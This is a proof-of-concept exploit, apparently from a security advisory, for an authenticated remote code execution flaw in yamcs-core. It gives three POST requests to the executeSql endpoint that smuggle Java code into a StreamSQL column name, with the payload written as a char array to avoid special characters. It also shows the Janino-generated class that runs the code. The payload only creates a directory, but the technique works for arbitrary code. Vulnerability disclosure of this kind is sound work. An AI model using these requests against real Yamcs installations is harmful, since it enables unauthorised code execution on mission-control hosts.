CVE-2026-55511: yamcs-core Authenticated RCE via StreamSQL Aggregate Column-Name Injection

// Step 1: create a table whose column name contains injected Java
POST /api/archive/myproject:executeSql
{"statement": "create table rce_poc(\"dummy; new java.io.File(new String(new char[]{47,116,109,112,47,121,97,109,99,115,45,114,99,101})).mkdirs(); coldummy=coldummy\" double, id int, primary key(id))"}

// Step 2: insert a row so newData() is called at least once
POST /api/archive/myproject:executeSql
{"statement": "insert into rce_poc(id, \"dummy; new java.io.File(new String(new char[]{47,116,109,112,47,121,97,109,99,115,45,114,99,101})).mkdirs(); coldummy=coldummy\") values(1, 1.0)"}

// Step 3: run the aggregate — Janino compiles and executes the injected newData()
POST /api/archive/myproject:executeSql
{"statement": "select sum(\"dummy; new java.io.File(new String(new char[]{47,116,109,112,47,121,97,109,99,115,45,114,99,101})).mkdirs(); coldummy=coldummy\") from rce_poc"}

// Result: directory /tmp/yamcs-rce created on the Yamcs host by the Yamcs JVM process.
// The char[] array encodes /tmp/yamcs-rce to avoid needing a / or " in the column name.
//
// Janino generates and compiles this class for Step 3:
//
// public class AggregateExpressionN implements CompiledAggregateExpression {
//     double sum;
//     public void newData(Tuple tuple) {
//         Double coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy
//             = (Double)tuple.getColumn("dummy; ...");
//         sum+=coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy;
//     }
//     public Object getValue() { return sum; }
//     public void clear() { sum = 0; }
// }